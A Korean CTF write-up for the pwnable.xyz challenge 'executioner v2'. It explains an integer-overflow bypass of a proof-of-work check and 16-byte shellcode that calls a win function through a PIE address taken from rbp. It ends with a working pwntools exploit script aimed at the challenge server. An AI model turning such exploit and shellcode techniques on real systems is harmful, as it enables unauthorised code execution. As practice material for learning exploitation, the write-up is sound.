[pwnable.xyz] executioner v2
Pwn/pwnable.xyz

[pwnable.xyz] executioner v2

반응형
문제 풀이 환경 : Ubuntu 16.04

solve_pow가 더 어렵..

📝 Analysis


<< Mitigation >>

역시나

<< Code >>

· main

이전하고 비슷한 모양새를 하고 있지만 단 16Byte만을 입력으로 받을 수 있다.

참고로 초록색으로 하이라이트 된 곳은 어셈블리어로 다음과 같다.

몇 레지스터를 제외하고는 다 0으로 초기화해주고 있다. 이후 rdx에 저장된 주소를 call 한다.

 

· solve_pow

개인적으로 어려워서 고민하다가 다른 사람 롸업보고 푼 부분. (이미 gdb 디버깅을 통해 내가 짠 shellcode의 PoC는 해놓은 상태에서 봤다.)

사실 데이터 형 크기 고정으로 인한 로직 버그라는 건 인지하고 있었지만 계산을 어떻게 할까 고민하고 있었다.

연산 후 범위를 넘어가는 byte에 대해서는 완전히 생각지도 못하고 있었다.

DWORD 크기(4-Byte)인 (unsigned) int 데이터형은 0x80000000에서 곱셈을 뭘 하느냐에 차이가 있다.

짝수를 곱하면

이런 식으로 범위가 넘어가서 0으로 인식하고,

홀수를 곱하면

여전히 4-Byte 내에 값이 남아 하염없이 기다려야 한다.

확률은 짝수냐 홀수냐, 즉 1/2이므로 꽤나 높은 확률이라 할 수 있다.

 

그렇게 입력할 때 x = 0x80000000, y = buf - 0x80000000로 설정하고 y의 값이 짝수이기를 바라면서 코드를 실행시킨다.

 

✨ Thinking


solve_pow를 우회하는 방법에 대해서는 위에서 언급한 대로다.

나머지는 16Byte 내에서 쉘코드를 실행시킬 수 있는 방법을 생각해내는 것이다.

 

일단 길이가 매우 짧기 때문에 평범하게 /bin/sh를 호출하는 건 불가능하다고 생각했다.

그래서 win 함수를 부르는 쪽이 합리적이라는 생각을 했다.

문제는 미티게이션에 PIE 옵션이 걸려있기 때문에 어떻게 하면 pie_base를 알 수 있을까 고민하다가 이런 류의 문제 특징 중 하나를 생각했다.

main 코드에서 초기화하지 않은 레지스터 중에서 어떤 걸 이용할 수 있을지를 살펴보았다.

마침 main에서 call rdx로 부를 때 main의 stack 상황을 보니

이렇게 생겼다.

rbp에 담긴 값이 pie_base를 포함한 값이 있으므로 이 값과 win과의 offset 차이를 계산해서 그대로 부르는 걸 생각하고 스크립트를 작성한 뒤 입력 길이를 확인했다.

이전 executioner 문제와 같이 xor 우회를 위해 첫 바이트는 null을 쓰는 것으로 시작해서 다음과 같이 작성했다.

길이는 15Byte! 16Byte에서 하나 덜 입력한 것으로 작성이 가능했다.

 

🚩 Flag 🚩


from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'

# p = process('./executioner_v2')
p = remote('svc.pwnable.xyz', 30028)

# fifty fifty chance (buf/ even->success, odd->fail)
p.recvuntil('== ')
x = 0x80000000
buf = int(p.recvline(), 16)
p.sendlineafter('> ', f'{x} {buf - x}')

shellcode = '''
add al, al
mov rbx, [rbp]
sub rbx, 0x2d6
call rbx
'''
p.sendafter('Input: ', asm(shellcode))

p.interactive()

 

반응형